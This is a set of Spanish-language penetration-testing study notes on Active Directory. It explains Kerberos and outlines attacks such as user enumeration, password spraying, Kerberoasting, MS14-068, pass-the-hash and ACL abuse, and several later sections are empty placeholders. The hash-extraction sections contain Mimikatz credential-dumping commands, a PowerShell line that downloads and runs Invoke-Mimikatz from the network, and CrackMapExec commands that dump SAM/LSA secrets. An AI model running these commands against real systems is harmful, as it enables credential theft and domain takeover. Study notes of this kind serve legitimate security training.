# Active Directory
Es una herramienta perteneciente a la empresa de Microsoft que proporciona servicios de directorio dentro de una red normalmente LAN.
Active Directory permite a los administradores de red crear y gestionar dominios, crear objetos como usuarios, grupos para administrar las credenciales durante el inicio de sesión de los equipos que se conectan a una red, administrar las políticas de absolutamente toda la red en la que se encuentre este servidor. Esto implica, por ejemplo, la gestión de permisos de acceso de usuarios, bandejas de correo personalizadas, etc.
El inicio de sesión no implica estar físicamente en el equipo, sino que estará ubicado en un servidor.
Los protocolos de red que utiliza Active Directory son principalmente:
* LDAP
* DHCP
* KERBEROS
* DNS
Conceptos principales de un Active Directory:
Directory – Contiene toda la información sobre los objetos del directorio activo
Object – Un objeto hace referencia a casi cualquier cosa dentro del directorio (un usuario, grupo, carpeta compartida...)
Domain – Los objetos del directorio están contenidos dentro del dominio. Dentro de un "bosque" puede existir más de un dominio y cada uno de ellos tendrá su propia colección de objetos.
Tree – Grupo de dominios con la misma raíz. Ejemplo: dom.local, email.dom.local, www.dom.local
Forest - El bosque es el nivel más alto de la jerarquía de la organización y está compuesto por un grupo de árboles.
### Kerberos Authentication
**¿Qué es Kerberos?**
Kerberos es un protocolo de autenticación, no de autorización. En otras palabras, permite identificar a cada usuario, quien proporciona una contraseña secreta, sin embargo, no valida a qué recursos o servicios puede acceder este usuario.
Kerberos se utiliza en Active Directory.
Kerberos proporciona información sobre los privilegios de cada usuario, pero es responsabilidad de cada servicio determinar si el usuario tiene acceso a sus recursos.
* Protocolo de autenticación, no de autorización
* Permite identificar a cada usuario
* Kerberos se utiliza en AD
* Kerberos proporciona información sobre los privilegios de cada usuario
**Componentes**
1. Transport layer
Kerberos utiliza UDP o TCP como protocolo de transporte, que envía datos en texto no cifrado. Debido a esto, Kerberos es responsable de proporcionar el cifrado.
Los puertos utilizados por Kerberos son UDP/88 y TCP/88, que deben escucharse en KDC.
* TCP y UDP
* Datos en texto no cifrado -> Kerberos proporciona cifrado
* Puerto 88
2. Agents
Varios agentes trabajan juntos para proporcionar autenticación en Kerberos.
* Client (un usuario o un servicio como NFS) que quiere acceder a cierto servicio.
* AP (Application Server) donde se expone el servicio al que el usuario quiere acceder, por ejemplo, para iniciar sesión en otro equipo de manera remota.
* KDC (Key Distribution Center), el servicio de Kerberos encargado de distribuir los tickets a los clientes, instalado en el DC (Controlador de dominio). Cuenta con el AS (Authentication Service), que se encarga de expedir los TGTs. El servicio de autenticación facilita la validación de nombre de usuario/contraseña utilizando su servidor de Active Directory/LDAP local.
* Cliente
* AP
* KDC
3. Encryption keys
Hay varias estructuras manejadas por Kerberos, como tickets. Muchas de esas estructuras están encriptadas o firmadas para evitar que sean manipuladas por terceros. Estas claves son las siguientes:
* Clave del KDC o krbtgt: clave derivada del hash NTLM de la cuenta krbtgt.
Cuando construye su Active Directory, la cuenta krbtgt ya está allí. Cada dominio de AD tiene una cuenta KRBTGT asociada para cifrar y firmar todos los vales de Kerberos para el dominio.
* Clave de usuario: clave derivada del hash NTLM del propio usuario.
* Clave de servicio: clave derivada del hash NTLM del propietario del servicio, que puede ser una cuenta de usuario o del servidor.
* Clave de sesión: clave negociada por el cliente y el KDC.
* Clave de sesión de servicio: clave negociada para utilizar entre el cliente y el AP.
4. Tickets
Kerberos maneja unas estructuras llamadas “Tickets”, que son entregados a los usuarios autenticados para que estos puedan realizar ciertas acciones dentro del dominio de Kerberos.
* El TGS (Ticket Granting Service) es el ticket que se presenta ante un servicio para poder acceder a sus recursos. Se cifra con la clave del servicio correspondiente.
* El TGT (Ticket Granting Ticket) es el ticket que se presenta ante el KDC para obtener los TGS. Se cifra con la clave del KDC.
5. PAC
El PAC (Privilege Attribute Certificate) es una estructura incluida en la mayoría los tickets. Esta estructura contiene los privilegios del usuario y está firmada con la clave del KDC.
Es posible para los servicios verificar el PAC comunicándose con el KDC, aunque esto no es común. No obstante, la verificación del PAC solo consiste en comprobar su firma, sin comprobar si los privilegios son correctos.
Por otra parte, un cliente puede evitar que se incluya el PAC especificándolo en el campo KERB-PA-PAC-REQUEST de la petición del ticket.
6. Messages
El protocolo Kerberos permite la comunicación de los diferentes agentes a través de diferentes tipos de mensajes. A continuación se enumeran los más interesantes:
KRB_AS_REQ: Utilizado por el usuario para solicitar el TGT al KDC.
KRB_AS_REP: Respuesta del KDC para enviar el TGT al usuario.
KRB_TGS_REQ: Utilizado por el usuario para solicitar el TGS al KDC, utilizando el TGT.
KRB_TGS_REP: Respuesta del KDC para enviar el TGS solicitado al usuario.
KRB_AP_REQ: Utilizado por el usuario para identificarse contra el servicio deseado, utilizando el TGS del propio servicio.
KRB_AP_REP: (Opcional) Utilizado por el servicio para autenticarse frente al usuario.
KRB_ERROR: Utilizado por los diferentes agentes para notificar situaciones de error.
Además, aunque no es parte de Kerberos, sino de NRPC, el AP puede opcionalmente utilizar el mensaje KERB_VERIFY_PAC_REQUEST para enviar la firma del PAC al KDC, y verificar si ésta es correcta.
https://www.tarlogic.com/es/blog/como-funciona-kerberos/
## Reconocimiento(No Credenciales)
1. Pentest en la red:
* Escanear la red
* Encontrar máquinas
* Extraer Credenciales(AD information in printers VER MAS)
* Enumeración del DNS
2. Verificar la sesión "null"
3. Enumeración con LDAP
4. Envenamiento de la red
5. OSINT
### Enumeración de Usuarios
Cuando se solicita un nombre de usuario no válido, el servidor responderá con el código de error de Kerberos KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, lo que nos permitirá determinar que el nombre de usuario no es válido. Los nombres de usuario válidos ilícitarán el TGT en una respuesta AS-REP o el error KRB5KDC_ERR_PREAUTH_REQUIRED, lo que indica que el usuario debe realizar una autenticación previa.
### Se conoce al menos un usuario válido
* ASREProast
* Password Spraying
User1 - Pass1
User2 - Pass1
User3 - Pass1
* Fuerza Bruta
## Reconocimiento(Con credenciales/Session)
Para esta fase, debe haber comprometido las credenciales o una sesión de una cuenta de dominio válida.
### Enumeración
Windows:
`net user /domain ,Get-DomainUser`
`wmic useraccount get name,sid`
Linux:
`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`
Having compromised an account is a big step to start compromising the whole domain, because you are going to be able to start the Active Directory Enumeration:
You could use some
will probably be stealthier, and you could even use powerview to extract more detailed information. Always learn what a CMD or powershell/powerview command does before executing it, this way you will know how stealth are you being.
Another amazing tool for recon in an active directory is BLOODHOUND. It is not very stealthy (depending on the collection methods you use), but if you don't care about that, you should totally give it a try.
### Kerberoast
El objetivo de Kerberoasting es recopilar vales TGS para servicios que se ejecutan en nombre de cuentas de usuario en AD. Estos tickets están encriptados con claves derivadas de las contraseñas de los usuarios, las cuales podrían crackearse.
Puede saber que una cuenta de usuario se está utilizando como un servicio porque la propiedad "ServicePrincipalName" no es nula.
### MS14-068
Es una vulnerabilidad crítica en los DC de Windows que permite a un usuario simple obtener un boleto dorado sin ser administrador. Con ese ticket, básicamente soy un administrador de dominio.
## Privesc en Active Directory (Creds/Sesión "privilegiados")
Se necesita algunos privilegios/credenciales especiales para realizar estos ataques.
### Hash extraction
Con suerte, ha logrado comprometer alguna cuenta de administrador local ,entonces es hora de volcar todos los hashes en la memoria y localmente.
#### Mimikatz
```
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
```
```
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
```
#### CrackMapExec
```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
```
### Pass the Hash
Una vez que tenga el hash de un usuario, puede usarlo para hacerse pasar por él.
Debe usar alguna herramienta que realice la autenticación NTLM usando ese hash, o podría crear un nuevo inicio de sesión e inyectar ese hash dentro del LSASS, de modo que cuando se realice cualquier autenticación NTLM, se usará ese hash. La última opción es lo que hace mimikatz.
* Credenciales NTLM: nombre de dominio (si corresponde), hash de nombre de usuario y contraseña.
#### Mimikatz
```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
Esto iniciará un proceso que pertenecerá a los usuarios que han iniciado mimikatz pero internamente en LSASS las credenciales guardadas son las que están dentro de los parámetros de mimikatz.
#### Linux
### Pasar el Hash/Pasar la Clave
Este ataque tiene como objetivo utilizar el hash NTLM del usuario para solicitar tickets de Kerberos, como una alternativa al protocolo común Pass The Hash sobre NTLM. Por lo tanto, esto podría ser especialmente útil en redes donde el protocolo NTLM está deshabilitado y solo se permite Kerberos como protocolo de autenticación.
### Pass the Ticket
Este ataque es similar a Pass the Key, pero en lugar de usar hashes para solicitar un ticket, el ticket en sí es robado y utilizado para autenticarse como propietario.
### Enlaces de confianza de MSSQL
### Delegación sin restricciones
### ACLs Abuse
El usuario comprometido podría tener algunos privilegios interesantes sobre algunos objetos de dominio que podrían permitirle moverse lateralmente/escalar privilegios.
**DACL** : Listas de Control de Acceso Discrecional
**ACE** : Entradas de Control de Acceso
DACL/ACE definen quién puede leer/modificar esos objetos (es decir, cambiar el nombre de la cuenta, restablecer la contraseña, etc.).
Algunos de los tipos y permisos de objetos de Active Directory que nos interesan a los atacantes:
* GenericAll: todos los derechos sobre el objeto (agregar usuarios a un grupo o restablecer la contraseña del usuario).
* GenericWrite: actualiza los atributos del objeto (es decir, secuencia de comandos de inicio de sesión).
* WriteOwner: cambie el propietario del objeto para que el usuario controlado por el atacante se haga cargo del objeto.
* WriteDACL: modifique las ACE del objeto y otorgue al atacante control total sobre el objeto.
* AllExtendedRights: posibilidad de agregar un usuario a un grupo o restablecer la contraseña
* ForceChangePassword: posibilidad de cambiar la contraseña del usuario.
* Self (Self-Membership): capacidad de agregarse a un grupo.
## Ejemplos Prácticos
## Reconocimiento(No Credenciales)
1. Pentest en la red:
* Escanear la red
* Encontrar máquinas
* Extraer Credenciales(AD information in printers VER MAS)
* Enumeración del DNS

### ASRProast


### Brute Force y Spraying
Hacer con el lab de s4vitar
### Enumeración
Buscar una máquina para hacer enumeracion de usuarios
### Kerberoast
Hacer con lab de s4vitar
### MS14-068

### Hash Extraction